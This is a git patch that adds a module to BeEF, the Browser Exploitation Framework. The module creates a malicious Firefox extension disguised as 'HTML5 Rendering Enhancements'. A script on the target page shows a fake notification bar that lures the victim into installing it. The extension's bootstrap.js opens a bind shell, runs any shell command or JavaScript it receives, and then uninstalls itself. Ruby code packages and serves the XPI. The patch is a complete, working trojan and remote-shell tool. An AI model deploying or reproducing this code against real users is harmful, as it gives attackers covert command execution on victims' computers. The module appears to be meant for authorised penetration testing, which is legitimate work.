From 2b44c9184dc222ccdb83d7cd77d2e1e46117295d Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 27 Jan 2014 07:21:44 +1030 Subject: [PATCH] Add malicious FF bindshell module --- .../firefox_extension_bindshell/command.js | 38 ++++ .../firefox_extension_bindshell/config.yaml | 16 ++ .../extension/HTML5_Enhancements.xpi | Bin 0 -> 3371 bytes .../extension/bootstrap.js | 188 ++++++++++++++++++ .../extension/build/readme.txt | 1 + .../extension/chrome.manifest | 2 + .../extension/install.rdf | 24 +++ .../extension/overlay.xul | 5 + .../firefox_extension_bindshell/module.rb | 86 ++++++++ 9 files changed, 360 insertions(+) create mode 100644 modules/exploits/local_host/firefox_extension_bindshell/command.js create mode 100644 modules/exploits/local_host/firefox_extension_bindshell/config.yaml create mode 100644 modules/exploits/local_host/firefox_extension_bindshell/extension/HTML5_Enhancements.xpi create mode 100644 modules/exploits/local_host/firefox_extension_bindshell/extension/bootstrap.js create mode 100644 modules/exploits/local_host/firefox_extension_bindshell/extension/build/readme.txt create mode 100644 modules/exploits/local_host/firefox_extension_bindshell/extension/chrome.manifest create mode 100644 modules/exploits/local_host/firefox_extension_bindshell/extension/install.rdf create mode 100644 modules/exploits/local_host/firefox_extension_bindshell/extension/overlay.xul create mode 100644 modules/exploits/local_host/firefox_extension_bindshell/module.rb diff --git a/modules/exploits/local_host/firefox_extension_bindshell/command.js b/modules/exploits/local_host/firefox_extension_bindshell/command.js new file mode 100644 index 000000000..61fe30df3 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_bindshell/command.js @@ -0,0 +1,38 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var xpi_name = '<%= @xpi_name %>'; + var ff_extension = '/' + xpi_name + '.xpi'; + + if(beef.browser.isFF()){ + var id = beef.dom.generateID(); + var pid = beef.dom.generateID(); + var zztop = beef.dom.getHighestZindex()+1; + var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background:#fbe99a; display:none;'}); + var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'}) + var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 2px 50px 0 4px; height: 25px; line-height: 25px; font-family: sans-serif; font-size: 12px; padding-bottom: 5px'}); + $j('body').append(el); + var hid = '#'+id; + var hpid = '#'+pid; + $j(hid).append(elp); + $j(hpid).html("<%= @notification_text %> "); + $j(hid).append(elr); + $j(hid).click(function() { + $j(this).slideUp(300,function() { + $j(this).remove(); + }); + //window.location.href = ff_extension; + window.open(ff_extension); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification'); + }); + $j(hid).css('cursor','pointer'); + $j(hid).slideDown(300,function() { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed'); + }); + } +}); diff --git a/modules/exploits/local_host/firefox_extension_bindshell/config.yaml b/modules/exploits/local_host/firefox_extension_bindshell/config.yaml new file mode 100644 index 000000000..1d427dd3b --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_bindshell/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + firefox_extension_bindshell: + enable: true + category: ["Exploits", "Local Host"] + name: "Firefox Extension (Bindshell)" + description: "Create on the fly a malicious Firefox extension that binds a shell to a specified port.

The extension is based on the original work from Michael Schierl and his Metasploit module, and joev's Firefox payloads for Metasploit." + authors: ["antisnatchor", "bcoles"] + target: + user_notify: ["FF"] + not_working: ["All"] diff --git a/modules/exploits/local_host/firefox_extension_bindshell/extension/HTML5_Enhancements.xpi b/modules/exploits/local_host/firefox_extension_bindshell/extension/HTML5_Enhancements.xpi new file mode 100644 index 0000000000000000000000000000000000000000..e585d38f12a6f5f17afd0b1290afd4e4386bc152 GIT binary patch literal 3371 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 H`3C$4lbIsv literal 0 HcmV?d00001 diff --git a/modules/exploits/local_host/firefox_extension_bindshell/extension/bootstrap.js b/modules/exploits/local_host/firefox_extension_bindshell/extension/bootstrap.js new file mode 100644 index 000000000..216da2e6c --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_bindshell/extension/bootstrap.js @@ -0,0 +1,188 @@ + +function startup(data, reason) { + var file = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("ProfD", Components.interfaces.nsIFile); + file.append("extensions"); + xpi_guid="{861fb387-92ce-bb0a-cb48-4b923dbc292b}"; + file.append(xpi_guid); + + // # ./msfpayload firefox/shell_bind_tcp LPORT=1337 R + (function(){ + Components.utils.import("resource://gre/modules/NetUtil.jsm"); + var lport = __bindshell_port_placeholder__; + var rhost = ""; + var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"] + .createInstance(Components.interfaces.nsIServerSocket); + serverSocket.init(lport, false, -1); + + var listener = { + onSocketAccepted: function(serverSocket, clientSocket) { + var outStream = clientSocket.openOutputStream(0, 0, 0); + var inStream = clientSocket.openInputStream(0, 0, 0); + var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"] + .createInstance(Components.interfaces.nsIInputStreamPump); + pump.init(inStream, -1, -1, 0, 0, true); + pump.asyncRead(clientListener(outStream), null); + } + }; + + var clientListener = function(outStream) { + return { + onStartRequest: function(request, context) {}, + onStopRequest: function(request, context) {}, + onDataAvailable: function(request, context, stream, offset, count) { + var data = NetUtil.readInputStreamToString(stream, count).trim(); + runCmd(data, function(err, output) { + if(!err) outStream.write(output, output.length); + }); + } + }; + }; + + + + var readFile = function(path) { + try { + var file = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + file.initWithPath(path); + + var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] + .createInstance(Components.interfaces.nsIFileInputStream); + fileStream.init(file, 1, 0, false); + + var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] + .createInstance(Components.interfaces.nsIBinaryInputStream); + binaryStream.setInputStream(fileStream); + var array = binaryStream.readByteArray(fileStream.available()); + + binaryStream.close(); + fileStream.close(); + file.remove(true); + + return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(""); + } catch (e) { return ""; } + }; + + + var setTimeout = function(cb, delay) { + var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); + timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT); + return timer; + }; + + + var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + var windows = (ua.indexOf("Windows")>-1); + var svcs = Components.utils.import("resource://gre/modules/Services.jsm"); + var jscript = ({"src":"\n var b64 = WScript.arguments(0);\n var dom = new ActiveXObject(\"MSXML2.DOMDocument.3.0\");\n var el = dom.createElement(\"root\");\n el.dataType = \"bin.base64\"; el.text = b64; dom.appendChild(el);\n var stream = new ActiveXObject(\"ADODB.Stream\");\n stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);\n stream.Position=0; stream.type=2; stream.CharSet = \"us-ascii\"; stream.Position=0;\n var cmd = stream.ReadText();\n (new ActiveXObject(\"WScript.Shell\")).Run(cmd, 0, true);\n "}).src; + var runCmd = function(cmd, cb) { + cb = cb || (function(){}); + + if (cmd.trim().length == 0) { + setTimeout(function(){ cb("Command is empty string ('')."); }); + return; + } + + var js = (/^\s*\[JAVASCRIPT\]([\s\S]*)\[\/JAVASCRIPT\]/g).exec(cmd.trim()); + if (js) { + var tag = "[!JAVASCRIPT]"; + var sync = true; // avoid zalgo's reach + var sent = false; + var retVal = null; + + try { + retVal = Function('send', js[1])(function(r){ + if (sent) return; + sent = true + if (r) { + if (sync) setTimeout(function(){ cb(false, r+tag+"\n"); }); + else cb(false, r+tag+"\n"); + } + }); + } catch (e) { retVal = e.message; } + + sync = false; + + if (retVal && !sent) { + sent = true; + setTimeout(function(){ cb(false, retVal+tag+"\n"); }); + } + + return; + } + + var shEsc = "\\$&"; + var shPath = "/bin/sh -c" + + if (windows) { + shPath = "cmd /c"; + shEsc = "\^$&"; + var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + jscriptFile.append('I5yOzt1neFMfjSYjyY.js'); + var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] + .createInstance(Components.interfaces.nsIFileOutputStream); + stream.init(jscriptFile, 0x04 | 0x08 | 0x20, 0666, 0); + stream.write(jscript, jscript.length); + if (stream instanceof Components.interfaces.nsISafeOutputStream) { + stream.finish(); + } else { + stream.close(); + } + } + + var stdoutFile = "JKsYPvN0AOYtet5mnB"; + + var stdout = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + stdout.append(stdoutFile); + + if (windows) { + var shell = shPath+" "+cmd; + shell = shPath+" "+shell.replace(/\W/g, shEsc)+" >"+stdout.path+" 2>&1"; + var b64 = svcs.btoa(shell); + } else { + var shell = shPath+" "+cmd.replace(/\W/g, shEsc); + shell = shPath+" "+shell.replace(/\W/g, shEsc) + " >"+stdout.path+" 2>&1"; + } + var process = Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); + var sh = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + + if (windows) { + sh.initWithPath("C:\\Windows\\System32\\wscript.exe"); + process.init(sh); + var args = [jscriptFile.path, b64]; + process.run(true, args, args.length); + jscriptFile.remove(true); + setTimeout(function(){cb(false, cmd+"\n"+readFile(stdout.path));}); + } else { + sh.initWithPath("/bin/sh"); + process.init(sh); + var args = ["-c", shell]; + process.run(true, args, args.length); + setTimeout(function(){cb(false, readFile(stdout.path));}); + } + }; + + + serverSocket.asyncListen(listener); + })(); + + + try { // Fx < 4.0 + Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); + } catch (e) {} + try { // Fx 4.0 and later + Components.utils.import("resource://gre/modules/AddonManager.jsm"); + AddonManager.getAddonByID(xpi_guid, function(addon) { + addon.uninstall(); + }); + } catch (e) {} + } diff --git a/modules/exploits/local_host/firefox_extension_bindshell/extension/build/readme.txt b/modules/exploits/local_host/firefox_extension_bindshell/extension/build/readme.txt new file mode 100644 index 000000000..9aa47d25d --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_bindshell/extension/build/readme.txt @@ -0,0 +1 @@ +This is a temp directory where the Firefox extension will be built. \ No newline at end of file diff --git a/modules/exploits/local_host/firefox_extension_bindshell/extension/chrome.manifest b/modules/exploits/local_host/firefox_extension_bindshell/extension/chrome.manifest new file mode 100644 index 000000000..2864216f5 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_bindshell/extension/chrome.manifest @@ -0,0 +1,2 @@ +content {861fb387-92ce-bb0a-cb48-4b923dbc292b} ./ +overlay chrome://browser/content/browser.xul chrome://{861fb387-92ce-bb0a-cb48-4b923dbc292b}/content/overlay.xul diff --git a/modules/exploits/local_host/firefox_extension_bindshell/extension/install.rdf b/modules/exploits/local_host/firefox_extension_bindshell/extension/install.rdf new file mode 100644 index 000000000..0813095d0 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_bindshell/extension/install.rdf @@ -0,0 +1,24 @@ + + + + {861fb387-92ce-bb0a-cb48-4b923dbc292b} + __extension_name_placeholder__ + 1.0 + true + true + + + toolkit@mozilla.org + 1.0 + * + + + + + {ec8030f7-c20a-464f-9b0e-13a3a9e97384} + 1.0 + * + + + + \ No newline at end of file diff --git a/modules/exploits/local_host/firefox_extension_bindshell/extension/overlay.xul b/modules/exploits/local_host/firefox_extension_bindshell/extension/overlay.xul new file mode 100644 index 000000000..91ca363e4 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_bindshell/extension/overlay.xul @@ -0,0 +1,5 @@ + + + + \ No newline at end of file diff --git a/modules/exploits/local_host/firefox_extension_bindshell/module.rb b/modules/exploits/local_host/firefox_extension_bindshell/module.rb new file mode 100644 index 000000000..179d43901 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_bindshell/module.rb @@ -0,0 +1,86 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Firefox_extension_bindshell < BeEF::Core::Command + + class Bind_extension < BeEF::Core::Router::Router + before do + headers 'Content-Type' => 'application/x-xpinstall', + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + get '/' do + response['Content-Type'] = "application/x-xpinstall" + extension_path = settings.extension_path + print_info "Serving malicious Firefox Extension (Bindshell): #{extension_path}" + send_file "#{extension_path}", + :type => 'application/x-xpinstall', + :disposition => 'inline' + end + end + + def pre_send + + # gets the value configured in the module configuration by the user + @datastore.each do |input| + if input['name'] == "extension_name" + @extension_name = input['value'] + end + if input['name'] == "xpi_name" + @xpi_name = input['value'] + end + if input['name'] == "lport" + @lport = input['value'] + end + end + + mod_path = "#{$root_dir}/modules/exploits/local_host/firefox_extension_bindshell" + extension_path = mod_path + "/extension" + + # clean the build directory + FileUtils.rm_rf("#{extension_path}/build/.", secure: true) + + # copy in the build directory necessary file, substituting placeholders + File.open(extension_path + "/build/install.rdf", "w") {|file| file.puts File.read(extension_path + "/install.rdf").gsub!("__extension_name_placeholder__", @extension_name)} + File.open(extension_path + "/build/bootstrap.js", "w") {|file| file.puts File.read(extension_path + "/bootstrap.js").gsub!("__bindshell_port_placeholder__", @lport)} + File.open(extension_path + "/build/overlay.xul", "w") {|file| file.puts File.read(extension_path + "/overlay.xul")} + File.open(extension_path + "/build/chrome.manifest", "w") {|file| file.puts File.read(extension_path + "/chrome.manifest")} + + extension_content = ["install.rdf", "bootstrap.js", "overlay.xul", "chrome.manifest"] + + # create the XPI extension container + xpi = "#{extension_path}/#{@xpi_name}.xpi" + if File.exist?(xpi) + File.delete(xpi) + end + Zip::File.open(xpi, Zip::File::CREATE) do |xpi| + extension_content.each do |filename| + xpi.add(filename, "#{extension_path}/build/#{filename}") + end + end + + # mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition) + bind_extension = Firefox_extension_bindshell::Bind_extension + bind_extension.set :extension_path, "#{$root_dir}/modules/exploits/local_host/firefox_extension_bindshell/extension/#{@xpi_name}.xpi" + BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new) + BeEF::Core::Server.instance.remap + end + + def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + return [ + {'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements'}, + {'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements'}, + {'name' => 'lport', 'ui_label' => 'Listen Port', 'value' => '1337'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end +end